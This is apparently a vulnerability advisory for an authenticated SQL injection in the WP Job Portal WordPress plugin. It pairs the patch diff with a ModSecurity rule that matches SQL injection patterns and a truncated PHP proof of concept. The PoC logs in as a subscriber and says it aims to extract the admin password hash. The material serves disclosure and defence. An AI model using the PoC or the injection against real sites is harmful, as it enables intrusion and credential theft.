-            wpjobportal::$_db->get_var("UPDATE `" . wpjobportal::$_db->prefix . "posts` SET post_status = 'draft' WHERE ID =".esc_sql($wpjobportal_id));
+            wpjobportal::$_db->get_var("UPDATE `" . wpjobportal::$_db->prefix . "posts` SET post_status = 'draft' WHERE ID =" . (int) ($wpjobportal_id));
         }

         //Delete capabilities
--- a/wp-job-portal/includes/formhandler.php
+++ b/wp-job-portal/includes/formhandler.php
@@ -20,9 +20,9 @@
             //handle the request
             $wpjobportal_modulename = (is_admin()) ? 'page' : 'wpjobportalme';
             $wpjobportal_module = WPJOBPORTALrequest::getVar($wpjobportal_modulename);
-            $wpjobportal_module = wpjobportalphplib::wpJP_str_replace('wpjobportal_', '', $wpjobportal_module);
-
-            if (empty($wpjobportal_module)) {
+            $wpjobportal_module = sanitize_key(wpjobportalphplib::wpJP_str_replace('wpjobportal_', '', $wpjobportal_module));
+            $wpjobportal_task = preg_replace('/[^A-Za-z0-9_]/', '', (string) WPJOBPORTALrequest::getVar('task'));
+            if (empty($wpjobportal_module) || empty($wpjobportal_task)) {
                 return;
             }

@@ -31,20 +31,20 @@
             $wpjobportal_class = 'WPJOBPORTAL' . $wpjobportal_module . "Controller";
             $wpjobportal_task = WPJOBPORTALrequest::getVar('task');

-            if (empty($wpjobportal_task)) {
+            if (!class_exists($wpjobportal_class) || !method_exists($wpjobportal_class, $wpjobportal_task)) {
                 return;
             }

-            if (!class_exists($wpjobportal_class)) {
-                return;
-            }

             $obj = new $wpjobportal_class;

             if (!method_exists($obj, $wpjobportal_task)) {
                 return;
             }
-
+            $wpjobportal_reflection = new ReflectionMethod($obj, $wpjobportal_task);
+            if ($wpjobportal_reflection->getNumberOfRequiredParameters() > 0) {
+                wp_die(esc_html__('Invalid request.', 'wp-job-portal'));
+            }
             $obj->$wpjobportal_task();
         }
     }
@@ -59,9 +59,9 @@
             //handle the request
             $wpjobportal_modulename = (is_admin()) ? 'page' : 'wpjobportalme';
             $wpjobportal_module = WPJOBPORTALrequest::getVar($wpjobportal_modulename);
-            $wpjobportal_module = wpjobportalphplib::wpJP_str_replace('wpjobportal_', '', $wpjobportal_module);
-
-            if (empty($wpjobportal_module)) {
+            $wpjobportal_module = sanitize_key(wpjobportalphplib::wpJP_str_replace('wpjobportal_', '', $wpjobportal_module));
+            $wpjobportal_action = preg_replace('/[^A-Za-z0-9_]/', '', (string) WPJOBPORTALrequest::getVar('task'));
+            if (empty($wpjobportal_module) || empty($wpjobportal_action)) {
                 return;
             }

@@ -70,7 +70,7 @@
             $wpjobportal_class = 'WPJOBPORTAL' . $wpjobportal_module . "Controller";
             $wpjobportal_action = WPJOBPORTALrequest::getVar('task');

-            if (empty($wpjobportal_action)) {
+            if (!class_exists($wpjobportal_class) || !method_exists($wpjobportal_class, $wpjobportal_action)) {
                 return;
             }

@@ -83,7 +83,10 @@
             if (!method_exists($obj, $wpjobportal_action)) {
                 return;
             }
-
+            $wpjobportal_reflection = new ReflectionMethod($obj, $wpjobportal_action);
+            if ($wpjobportal_reflection->getNumberOfRequiredParameters() > 0) {
+                wp_die(esc_html__('Invalid request.', 'wp-job-portal'));
+            }
             $obj->$wpjobportal_action();
         }
     }
--- a/wp-job-portal/includes/shortcodes.php
+++ b/wp-job-portal/includes/shortcodes.php
@@ -638,12 +638,30 @@
             'wpjobportalme' => 'user',
             'wpjobportallt' => 'regemployer',
         );
+        $wpjobportal_default_shortcode_options = array(
+            'hide' => '0',
+            'hide_role' => '',
+            'show_header' => '1',
+            'show_title' => '1',
+            'button_text' => '',
+            'redirect_url' => '',
+            'class' => '',
+        );
         $wpjobportal_sanitized_args = shortcode_atts($wpjobportal_defaults, $raw_args);
+        $wpjobportal_shortcode_options = $this->sanitizeRegistrationShortcodeOptions(
+            shortcode_atts($wpjobportal_default_shortcode_options, $raw_args),
+            1
+        );
         if(isset(wpjobportal::$_data['sanitized_args']) && !empty(wpjobportal::$_data['sanitized_args'])){
             wpjobportal::$_data['sanitized_args'] += $wpjobportal_sanitized_args;
         }else{
             wpjobportal::$_data['sanitized_args'] = $wpjobportal_sanitized_args;
         }
+        if(isset(wpjobportal::$_data['shortcode_options']) && !empty(wpjobportal::$_data['shortcode_options'])){
+            wpjobportal::$_data['shortcode_options'] += $wpjobportal_shortcode_options;
+        }else{
+            wpjobportal::$_data['shortcode_options'] = $wpjobportal_shortcode_options;
+        }
         $wpjobportal_pageid = get_the_ID();
         wpjobportal::wpjobportal_setPageID($wpjobportal_pageid);
         wpjobportal::wpjobportal_addStyleSheets();
@@ -702,12 +720,30 @@
             'wpjobportalme' => 'user',
             'wpjobportallt' => 'regjobseeker',
         );
+        $wpjobportal_default_shortcode_options = array(
+            'hide' => '0',
+            'hide_role' => '',
+            'show_header' => '1',
+            'show_title' => '1',
+            'button_text' => '',
+            'redirect_url' => '',
+            'class' => '',
+        );
         $wpjobportal_sanitized_args = shortcode_atts($wpjobportal_defaults, $raw_args);
+        $wpjobportal_shortcode_options = $this->sanitizeRegistrationShortcodeOptions(
+            shortcode_atts($wpjobportal_default_shortcode_options, $raw_args),
+            2
+        );
         if(isset(wpjobportal::$_data['sanitized_args']) && !empty(wpjobportal::$_data['sanitized_args'])){
             wpjobportal::$_data['sanitized_args'] += $wpjobportal_sanitized_args;
         }else{
             wpjobportal::$_data['sanitized_args'] = $wpjobportal_sanitized_args;
         }
+        if(isset(wpjobportal::$_data['shortcode_options']) && !empty(wpjobportal::$_data['shortcode_options'])){
+            wpjobportal::$_data['shortcode_options'] += $wpjobportal_shortcode_options;
+        }else{
+            wpjobportal::$_data['shortcode_options'] = $wpjobportal_shortcode_options;
+        }
         $wpjobportal_pageid = get_the_ID();
         wpjobportal::wpjobportal_setPageID($wpjobportal_pageid);
         wpjobportal::wpjobportal_addStyleSheets();
@@ -1470,6 +1506,63 @@
         $wpjobportal_content .= ob_get_clean();
         return $wpjobportal_content;
     }
+
+    private function sanitizeRegistrationShortcodeOptions($wpjobportal_options, $wpjobportal_role_id) {
+        $wpjobportal_hide_role = $this->shortcodeBooleanValue(
+            isset($wpjobportal_options['hide_role']) && $wpjobportal_options['hide_role'] !== ''
+                ? $wpjobportal_options['hide_role']
+                : $wpjobportal_options['hide'],
+            false
+        );
+
+        $wpjobportal_class_names = array();
+        if (!empty($wpjobportal_options['class'])) {
+            foreach (preg_split('/s+/', (string) $wpjobportal_options['class']) as $wpjobportal_class_name) {
+                $wpjobportal_class_name = sanitize_html_class($wpjobportal_class_name);
+                if ($wpjobportal_class_name !== '') {
+                    $wpjobportal_class_names[] = $wpjobportal_class_name;
+                }
+            }
+        }
+
+        $wpjobportal_redirect_url = '';
+        if (!empty($wpjobportal_options['redirect_url'])) {
+            $wpjobportal_redirect_url = wp_validate_redirect(esc_url_raw($wpjobportal_options['redirect_url']), '');
+        }
+
+        return array(
+            'registration_shortcode' => 1,
+            'registration_role' => (int) $wpjobportal_role_id,
+            'hide_role' => $wpjobportal_hide_role ? 1 : 0,
+            'show_header' => $this->shortcodeBooleanValue($wpjobportal_options['show_header'], true) ? 1 : 0,
+            'show_title' => $this->shortcodeBooleanValue($wpjobportal_options['show_title'], true) ? 1 : 0,
+            'button_text' => sanitize_text_field($wpjobportal_options['button_text']),
+            'redirect_url' => $wpjobportal_redirect_url,
+            'class' => implode(' ', array_unique($wpjobportal_class_names)),
+        );
+    }
+
+    private function shortcodeBooleanValue($wpjobportal_value, $wpjobportal_default = false) {
+        if (is_bool($wpjobportal_value)) {
+            return $wpjobportal_value;
+        }
+
+        $wpjobportal_value = strtolower(trim((string) $wpjobportal_value));
+        if ($wpjobportal_value === '') {
+            return (bool) $wpjobportal_default;
+        }
+
+        if (in_array($wpjobportal_value, array('1', 'true', 'yes', 'on'), true)) {
+            return true;
+        }
+
+        if (in_array($wpjobportal_value, array('0', 'false', 'no', 'off'), true)) {
+            return false;
+        }
+
+        return (bool) $wpjobportal_default;
+    }
+
 }

 $wpjobportal_shortcodes = new WPJOBPORTALshortcodes();
@@ -1882,5 +1975,6 @@
         wp_enqueue_style('wpjobportal-site-rtl', esc_url(WPJOBPORTAL_PLUGIN_URL) . 'includes/css/stylertl.css');
     }
     return $wpjobportal_html;
+
 }
 ?>
--- a/wp-job-portal/includes/sitemap.php
+++ b/wp-job-portal/includes/sitemap.php
@@ -0,0 +1,214 @@
+<?php
+
+if (!defined('ABSPATH'))
+    die('Restricted Access');
+
+class WPJOBPORTALsitemap {
+
+    const QUERY_VAR = 'wpjobportal_jobs_sitemap';
+    const SITEMAP_PATH = 'wp-job-portal-jobs-sitemap.xml';
+
+    public static function init() {
+        add_action('init', array(__CLASS__, 'addRewriteRule'));
+        add_filter('query_vars', array(__CLASS__, 'addQueryVar'));
+        add_action('template_redirect', array(__CLASS__, 'maybeRenderSitemap'), 0);
+        add_filter('robots_txt', array(__CLASS__, 'addRobotsTxtSitemap'), 10, 2);
+        add_filter('wpseo_sitemap_index', array(__CLASS__, 'addYoastSitemapIndex'));
+    }
+
+    public static function addRewriteRule() {
+        add_rewrite_rule('^' . preg_quote(self::SITEMAP_PATH, '/') . '$', 'index.php?' . self::QUERY_VAR . '=1', 'top');
+    }
+
+    public static function addQueryVar($vars) {
+        $vars[] = self::QUERY_VAR;
+        return $vars;
+    }
+
+    public static function getSitemapUrl() {
+        return home_url('/' . self::SITEMAP_PATH);
+    }
+
+    public static function maybeRenderSitemap() {
+        $query_var = get_query_var(self::QUERY_VAR);
+        $request_uri = isset($_SERVER['REQUEST_URI']) ? sanitize_text_field(wp_unslash($_SERVER['REQUEST_URI'])) : '';
+        $is_direct_path = (false !== strpos($request_uri, '/' . self::SITEMAP_PATH));
+        $is_query_request = isset($_GET[self::QUERY_VAR]) && absint($_GET[self::QUERY_VAR]) === 1;
+
+        if (!$query_var && !$is_direct_path && !$is_query_request) {
+            return;
+        }
+
+        if (!self::isEnabled()) {
+            status_header(404);
+            nocache_headers();
+            exit;
+        }
+
+        self::renderSitemap();
+    }
+
+    public static function addRobotsTxtSitemap($output, $public) {
+        if (!$public || !self::isEnabled()) {
+            return $output;
+        }
+
+        $sitemap_url = self::getSitemapUrl();
+        if (false === strpos($output, $sitemap_url)) {
+            $output = rtrim($output) . "nSitemap: " . $sitemap_url . "n";
+        }
+        return $output;
+    }
+
+    public static function addYoastSitemapIndex($sitemap_index) {
+        if (!self::isEnabled()) {
+            return $sitemap_index;
+        }
+
+        $lastmod = self::getLatestJobLastmod();
+        if (empty($lastmod)) {
+            return $sitemap_index;
+        }
+
+        $sitemap_index .= "n<sitemap>n";
+        $sitemap_index .= '<loc>' . esc_url(self::getSitemapUrl()) . "</loc>n";
+        $sitemap_index .= '<lastmod>' . esc_html($lastmod) . "</lastmod>n";
+        $sitemap_index .= "</sitemap>n";
+        return $sitemap_index;
+    }
+
+    private static function isEnabled() {
+        $enabled = '1';
+        if (isset(wpjobportal::$_config) && is_object(wpjobportal::$_config) && method_exists(wpjobportal::$_config, 'getConfigurationByConfigName')) {
+            $config_value = wpjobportal::$_config->getConfigurationByConfigName('job_sitemap_enable');
+            if ($config_value !== null && $config_value !== '') {
+                $enabled = $config_value;
+            }
+        }
+        return (string) $enabled === '1';
+    }
+
+    private static function getLimit() {
+        $limit = 5000;
+        if (isset(wpjobportal::$_config) && is_object(wpjobportal::$_config) && method_exists(wpjobportal::$_config, 'getConfigurationByConfigName')) {
+            $config_value = wpjobportal::$_config->getConfigurationByConfigName('job_sitemap_limit');
+            if (is_numeric($config_value)) {
+                $limit = absint($config_value);
+            }
+        }
+        if ($limit < 1) {
+            $limit = 5000;
+        }
+        if ($limit > 50000) {
+            $limit = 50000;
+        }
+        return $limit;
+    }
+
+    private static function getDefaultPageId() {
+        $query = "SELECT configvalue FROM `" . wpjobportal::$_db->prefix . "wj_portal_config` WHERE configname = 'default_pageid'";
+        return absint(wpjobportal::$_db->get_var($query));
+    }
+
+    private static function getPublicJobs() {
+        $today = current_time('Y-m-d');
+        $limit = self::getLimit();
+        $query = wpjobportal::$_db->prepare(
+            "SELECT job.id, job.alias, job.created, job.modified
+            FROM `" . wpjobportal::$_db->prefix . "wj_portal_jobs` AS job
+            LEFT JOIN `" . wpjobportal::$_db->prefix . "wj_portal_companies` AS company ON company.id = job.companyid
+            WHERE job.status = 1
+              AND DATE(job.startpublishing) <= %s
+              AND DATE(job.stoppublishing) >= %s
+              AND (company.status = 1 OR company.status IS NULL)
+            ORDER BY job.modified DESC, job.created DESC
+            LIMIT %d",
+            $today,
+            $today,
+            $limit
+        );
+        return wpjobportaldb::get_results($query);
+    }
+
+    private static function getLatestJobLastmod() {
+        $today = current_time('Y-m-d');
+        $query = wpjobportal::$_db->prepare(
+            "SELECT job.created, job.modified
+            FROM `" . wpjobportal::$_db->prefix . "wj_portal_jobs` AS job
+            LEFT JOIN `" . wpjobportal::$_db->prefix . "wj_portal_companies` AS company ON company.id = job.companyid
+            WHERE job.status = 1
+              AND DATE(job.startpublishing) <= %s
+              AND DATE(job.stoppublishing) >= %s
+              AND (company.status = 1 OR company.status IS NULL)
+            ORDER BY job.modified DESC, job.created DESC
+            LIMIT 1",
+            $today,
+            $today
+        );
+        $job = wpjobportaldb::get_row($query);
+        if (empty($job)) {
+            return '';
+        }
+        return self::formatLastmod($job);
+    }
+
+    private static function formatLastmod($job) {
+        $date = '';
+        if (!empty($job->modified) && $job->modified !== '0000-00-00 00:00:00') {
+            $date = $job->modified;
+        } elseif (!empty($job->created) && $job->created !== '0000-00-00 00:00:00') {
+            $date = $job->created;
+        }
+        if (empty($date)) {
+            return current_time('c');
+        }
+        return mysql2date('c', $date, false);
+    }
+
+    private static function getJobUrl($job, $page_id) {
+        $job_id = absint($job->id);
+        if ($job_id < 1) {
+            return '';
+        }
+        $alias = isset($job->alias) ? sanitize_title($job->alias) : '';
+        $alias_id = $alias !== '' ? $alias . '-' . $job_id : $job_id;
+        return wpjobportal::wpjobportal_makeUrl(array(
+            'wpjobportalme' => 'job',
+            'wpjobportallt' => 'viewjob',
+            'wpjobportalid' => $alias_id,
+            'wpjobportalpageid' => $page_id,
+        ));
+    }
+
+    public static function renderSitemap() {
+        while (ob_get_level()) {
+            ob_end_clean();
+        }
+
+        status_header(200);
+        nocache_headers();
+        header('Content-Type: application/xml; charset=UTF-8');
+
+        $page_id = self::getDefaultPageId();
+        $jobs = self::getPublicJobs();
+
+        echo '<?xml version="1.0" encoding="UTF-8"?>' . "n";
+        echo '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . "n";
+
+        if (!empty($jobs)) {
+            foreach ($jobs as $job) {
+                $url = self::getJobUrl($job, $page_id);
+                if (empty($url)) {
+                    continue;
+                }
+                echo "t<url>n";
+                echo "tt<loc>" . esc_url($url) . "</loc>n";
+                echo "tt<lastmod>" . esc_html(self::formatLastmod($job)) . "</lastmod>n";
+                echo "t</url>n";
+            }
+        }
+
+        echo '</urlset>';
+        exit;
+    }
+}
--- a/wp-job-portal/includes/tables/table.php
+++ b/wp-job-portal/includes/tables/table.php
@@ -114,7 +114,7 @@

     function load($wpjobportal_id){
         if(!is_numeric($wpjobportal_id)) return false;
-        $query = "SELECT * FROM `".$this->tablename."` WHERE `".esc_sql($this->primarykey)."` = ".esc_sql($wpjobportal_id);
+        $query = "SELECT * FROM `".$this->tablename."` WHERE `".esc_sql($this->primarykey)."` = " . (int) ($wpjobportal_id);
         $wpjobportal_result = wpjobportal::$_db->get_row($query);
         $wpjobportal_array = get_object_vars($this);
         unset($wpjobportal_array['isnew']);
--- a/wp-job-portal/includes/updates/updates.php
+++ b/wp-job-portal/includes/updates/updates.php
@@ -27,7 +27,7 @@
             $query = "SELECT configvalue FROM `".wpjobportal::$_db->prefix."wj_portal_config` WHERE configname='versioncode'";
             $wpjobportal_versioncode = wpjobportal::$_db->get_var($query);
             $wpjobportal_versioncode = wpjobportalphplib::wpJP_str_replace('.','',$wpjobportal_versioncode);
-            $query = "UPDATE `".wpjobportal::$_db->prefix."wj_portal_config` SET configvalue = '".esc_sql($wpjobportal_versioncode)."' WHERE configname = 'last_version';";
+            $query = wpjobportal::$_db->prepare("UPDATE `".wpjobportal::$_db->prefix."wj_portal_config` SET configvalue = %s WHERE configname = 'last_version';", $wpjobportal_versioncode);
             wpjobportal::$_db->query($query);
             $from = $wpjobportal_installedversion + 1;
             $wpjobportal_to = $cversion;
--- a/wp-job-portal/includes/wpjobportal-hooks.php
+++ b/wp-job-portal/includes/wpjobportal-hooks.php
@@ -49,71 +49,167 @@
     wp_enqueue_style('wpjobportal-menu-style', esc_url(WPJOBPORTAL_PLUGIN_URL) . 'includes/css/adminmenu.css');
 }

+/**
+ * Build and validate a signed registration shortcode context.
+ *
+ * The signed value lets the registration handler reliably enforce the role and
+ * optional redirect selected by the shortcode without trusting editable hidden fields.
+ */
+function wpjobportal_create_registration_shortcode_context($wpjobportal_role, $wpjobportal_lock_role = false, $wpjobportal_redirect_url = '') {
+    $wpjobportal_role = (int) $wpjobportal_role;
+    if (!in_array($wpjobportal_role, array(1, 2), true)) {
+        return '';
+    }
+
+    $wpjobportal_payload = array(
+        'role' => $wpjobportal_role,
+        'lock_role' => $wpjobportal_lock_role ? 1 : 0,
+        'redirect_url' => wp_validate_redirect(esc_url_raw($wpjobportal_redirect_url), ''),
+        'expires' => time() + DAY_IN_SECONDS,
+    );
+    $wpjobportal_json = wp_json_encode($wpjobportal_payload);
+    if (!$wpjobportal_json) {
+        return '';
+    }
+
+    $wpjobportal_encoded = rtrim(strtr(base64_encode($wpjobportal_json), '+/', '-_'), '=');
+    $wpjobportal_signature = hash_hmac('sha256', $wpjobportal_encoded, wp_salt('nonce'));
+    return $wpjobportal_encoded . '.' . $wpjobportal_signature;
+}
+
+function wpjobportal_get_registration_shortcode_context() {
+    static $wpjobportal_context_loaded = false;
+    static $wpjobportal_context = array();
+
+    if ($wpjobportal_context_loaded) {
+        return $wpjobportal_context;
+    }
+    $wpjobportal_context_loaded = true;
+
+    $wpjobportal_token = WPJOBPORTALrequest::getVar('wpjobportal_registration_context', 'post', '');
+    if (!is_string($wpjobportal_token) || strpos($wpjobportal_token, '.') === false) {
+        return $wpjobportal_context;
+    }
+
+    list($wpjobportal_encoded, $wpjobportal_signature) = explode('.', $wpjobportal_token, 2);
+    $wpjobportal_expected_signature = hash_hmac('sha256', $wpjobportal_encoded, wp_salt('nonce'));
+    if (!hash_equals($wpjobportal_expected_signature, $wpjobportal_signature)) {
+        return $wpjobportal_context;
+    }
+
+    $wpjobportal_padding = strlen($wpjobportal_encoded) % 4;
+    if ($wpjobportal_padding) {
+        $wpjobportal_encoded .= str_repeat('=', 4 - $wpjobportal_padding);
+    }
+    $wpjobportal_json = base64_decode(strtr($wpjobportal_encoded, '-_', '+/'), true);
+    $wpjobportal_data = json_decode((string) $wpjobportal_json, true);
+    if (!is_array($wpjobportal_data)) {
+        return $wpjobportal_context;
+    }
+
+    $wpjobportal_role = isset($wpjobportal_data['role']) ? (int) $wpjobportal_data['role'] : 0;
+    $wpjobportal_expires = isset($wpjobportal_data['expires']) ? (int) $wpjobportal_data['expires'] : 0;
+    if (!in_array($wpjobportal_role, array(1, 2), true) || $wpjobportal_expires < time()) {
+        return $wpjobportal_context;
+    }
+
+    $wpjobportal_context = array(
+        'role' => $wpjobportal_role,
+        'lock_role' => !empty($wpjobportal_data['lock_role']) ? 1 : 0,
+        'redirect_url' => !empty($wpjobportal_data['redirect_url'])
+            ? wp_validate_redirect(esc_url_raw($wpjobportal_data['redirect_url']), '')
+            : '',
+    );
+    return $wpjobportal_context;
+}
+
+function wpjobportal_get_registration_role() {
+    $wpjobportal_context = wpjobportal_get_registration_shortcode_context();
+    if (!empty($wpjobportal_context['lock_role'])) {
+        return (int) $wpjobportal_context['role'];
+    }
+
+    return wpjobportal::wpjobportal_sanitizeData(WPJOBPORTALrequest::getVar('jobs_role', 'post', ''));
+}
+
 // --------------------------WP registration from fields --------
 // 1. wp register form extra field
 add_action('register_form', 'wpjobportal_add_registration_fields');
 add_action('wpjobportal_register_form', 'wpjobportal_add_registration_fields');

 function wpjobportal_add_registration_fields() {
-    //Get and set any values already sent
-    /*
-    if (isset($_SESSION['js_cpfrom'])) {
+    $wpjobportal_shortcode_options = isset(wpjobportal::$_data['shortcode_options']) && is_array(wpjobportal::$_data['shortcode_options'])
+        ? wpjobportal::$_data['shortcode_options']
+        : array();
+    $wpjobportal_is_registration_shortcode = !empty($wpjobportal_shortcode_options['registration_shortcode']);
+    $wpjobportal_hide_role = $wpjobportal_is_registration_shortcode && !empty($wpjobportal_shortcode_options['hide_role']);
+    $wpjobportal_shortcode_role = $wpjobportal_is_registration_shortcode && isset($wpjobportal_shortcode_options['registration_role'])
+        ? (int) $wpjobportal_shortcode_options['registration_role']
+        : 0;
+
+    if ($wpjobportal_hide_role && in_array($wpjobportal_shortcode_role, array(1, 2), true)) {
+        $wpjobportal_context = wpjobportal_create_registration_shortcode_context(
+            $wpjobportal_shortcode_role,
+            true,
+            isset($wpjobportal_shortcode_options['redirect_url']) ? $wpjobportal_shortcode_options['redirect_url'] : ''
+        );
         ?>
-        <div class="wjportal-form-title"><?php echo esc_html(__('User Role', 'wp-job-portal')); ?></div>
-        <div class="wjportal-form-value">
+        <input type="hidden" name="jobs_role" value="<?php echo esc_attr($wpjobportal_shortcode_role); ?>" />
+        <input type="hidden" name="jobs_notfromourform" value="1" />
+        <input type="hidden" name="wpjobportal_registration_context" value="<?php echo esc_attr($wpjobportal_context); ?>" />
+        <?php
+        return;
+    }
+
+    ?>
+    <div class="wjportal-form-title">
+        <label for="jobs_role">
+            <?php echo esc_html(__('Jobs Role', 'wp-job-portal')); ?>
+        </label>
+    </div>
+    <div class="wjportal-form-value">
+        <?php
+        $wpjobportal_empflag = wpjobportal::$_config->getConfigurationByConfigName('disable_employer');
+        $wpjobportal_showemployerlink = wpjobportal::$_config->getConfigurationByConfigName('showemployerlink');
+        if ($wpjobportal_empflag == 1 && $wpjobportal_showemployerlink == 1) {
+            $wpjobportal_selected_role = in_array($wpjobportal_shortcode_role, array(1, 2), true) ? $wpjobportal_shortcode_role : 0;
+            ?>
+            <select id="jobs_role" name="jobs_role" class="input form-control wjportal-form-select-field">
+                <option value="0"<?php selected($wpjobportal_selected_role, 0); ?>><?php echo esc_html(__('Select Role', 'wp-job-portal')); ?></option>
+                <option value="1"<?php selected($wpjobportal_selected_role, 1); ?>><?php echo esc_html(__('Employer', 'wp-job-portal')); ?></option>
+                <option value="2"<?php selected($wpjobportal_selected_role, 2); ?>><?php echo esc_html(__('Job seeker', 'wp-job-portal')); ?></option>
+            </select>
+            <?php
+        } else {
+            ?>
             <div class="wjportal-form-text">
-                <?php if ($_SESSION['js_cpfrom'] == 1) { ?>
-                    <input type="hidden" name="jobs_role" value="1" />
-                    <?php echo esc_html(__('Employer', 'wp-job-portal')); ?>
-                    <?php
-                } elseif ($_SESSION['js_cpfrom'] == 2) {
-                    ?>
-                    <input type="hidden" name="jobs_role" value="2" />
-                     <?php echo esc_html(__('Job seeker', 'wp-job-portal')); ?>
-               <?php } ?>
+                <input type="hidden" name="jobs_role" value="2" />
+                <?php echo esc_html(__('Job seeker', 'wp-job-portal')); ?>
             </div>
-        </div>
-    <?php
-    } else {
-        */
+            <?php
+        }
         ?>
+    </div>
+    <input type="hidden" name="jobs_notfromourform" value="1" />
+    <?php

-            <div class="wjportal-form-title">
-                <label for="jobs_role">
-                    <?php echo esc_html(__('Jobs Role', 'wp-job-portal')) ?>
-                </label>
-            </div>
-            <div class="wjportal-form-value">
-                <?php
-                $wpjobportal_empflag  = wpjobportal::$_config->getConfigurationByConfigName('disable_employer');
-                $wpjobportal_showemployerlink  = wpjobportal::$_config->getConfigurationByConfigName('showemployerlink');
-                if($wpjobportal_empflag == 1 && $wpjobportal_showemployerlink == 1){ ?>
-                    <select id="jobs_role" name="jobs_role" class="input form-control wjportal-form-select-field">
-                        <option value="0"><?php echo esc_html(__('Select Role', 'wp-job-portal')); ?></option>
-                        <option value="1"><?php echo esc_html(__('Employer', 'wp-job-portal')); ?></option>
-                        <option value="2"><?php echo esc_html(__('Job seeker', 'wp-job-portal')); ?></option>
-                    </select><?php
-                }else{ ?>
-                    <div class="wjportal-form-text">
-                        <input type="hidden" name="jobs_role" value="2" />
-                         <?php echo esc_html(__('Job seeker', 'wp-job-portal')); ?>
-                   </div>
-            <?php } ?>
-            </div>
-            <input type="hidden" name="jobs_notfromourform" value="1" />
-
+    if ($wpjobportal_is_registration_shortcode && in_array($wpjobportal_shortcode_role, array(1, 2), true)) {
+        $wpjobportal_context = wpjobportal_create_registration_shortcode_context(
+            $wpjobportal_shortcode_role,
+            false,
+            isset($wpjobportal_shortcode_options['redirect_url']) ? $wpjobportal_shortcode_options['redirect_url'] : ''
+        );
+        ?>
+        <input type="hidden" name="wpjobportal_registration_context" value="<?php echo esc_attr($wpjobportal_context); ?>" />
         <?php
-    /*}
-    if(isset($_SESSION['js_cpfrom']))
-        unset($_SESSION['js_cpfrom']);
-    */
+    }
 }

 //2. Add validation. In this case, we make sure jobs_role is required
 add_filter('registration_errors', 'wpjobportal_registration_errors', 10, 3);

 function wpjobportal_registration_errors($errors, $wpjobportal_sanitized_user_login, $wpjobportal_user_email) {
-    $wpjobportal_jobs_role = WPJOBPORTALrequest::getVar('jobs_role','post','');
+    $wpjobportal_jobs_role = wpjobportal_get_registration_role();
     if ($wpjobportal_jobs_role == 0) {

         $errors->add('user_role_error','<strong>'.esc_html(__("Error","wp-job-portal")).'</strong>:'. esc_html(__('You must set jobs user role', 'wp-job-portal')).'.');
@@ -126,10 +222,10 @@
 add_action('user_register', 'wpjobportal_registration_save', 10, 1);

 function wpjobportal_registration_save($wpjobportal_user_id) {
-    $wpjobportal_jobs_role = WPJOBPORTALrequest::getVar('jobs_role','post','');
+    $wpjobportal_jobs_role = wpjobportal_get_registration_role();
     $wpjobportal_jobs_register_nonce = WPJOBPORTALrequest::getVar('wpjobportal_jobs_register_nonce','post','');
     if ($wpjobportal_jobs_role != '' && $wpjobportal_jobs_register_nonce != '' && !wp_verify_nonce($wpjobportal_jobs_register_nonce, 'wpjobportal-jobs-register-nonce') ) {
-        $wpjobportal_role = wpjobportal::wpjobportal_sanitizeData(WPJOBPORTALrequest::getVar('jobs_role'));
+        $wpjobportal_role = wpjobportal_get_registration_role();
         $wpjobportal_user_email = sanitize_email(WPJOBPORTALrequest::getVar('wpjobportal_user_email'));
         if (is_numeric($wpjobportal_role)) {
             $wpjobportal_empflag  = wpjobportal::$_config->getConfigurationByConfigName('disable_employer');
@@ -173,6 +269,7 @@
 // ------------------- wpjobportal registrationFrom request handler--------
 // register a new user
 funct

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-65569
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202665569,phase:2,deny,status:403,chain,msg:'CVE-2026-65569 WP Job Portal SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-65569'"
  SecRule ARGS_POST:action "@streq wpjobportal_ajax" "chain"
    SecRule ARGS_POST:task "@streq getWPJobPortalUser" "chain"
      SecRule ARGS_POST:id "@rx (?:union.*select|select.*from|sleep(|benchmark(|extractvalue(|updatexml()" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65569 - WP Job Portal <= 2.5.6 - Authenticated (Subscriber+) SQL Injection

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber'; // Subscriber credentials
$password = 'password';

// Initialize cURL
$ch = curl_init();

// Step 1: Log in as subscriber to obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);

// Step 2: Exploit SQL injection via a vulnerable AJAX action
// The vulnerable task is likely 'getWPJobPortalUser' or similar, accessible via admin-ajax.php
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Payload: inject a UNION SELECT to extract admin password hash
// The parameter 'id' is used unsafely in user.php line 46
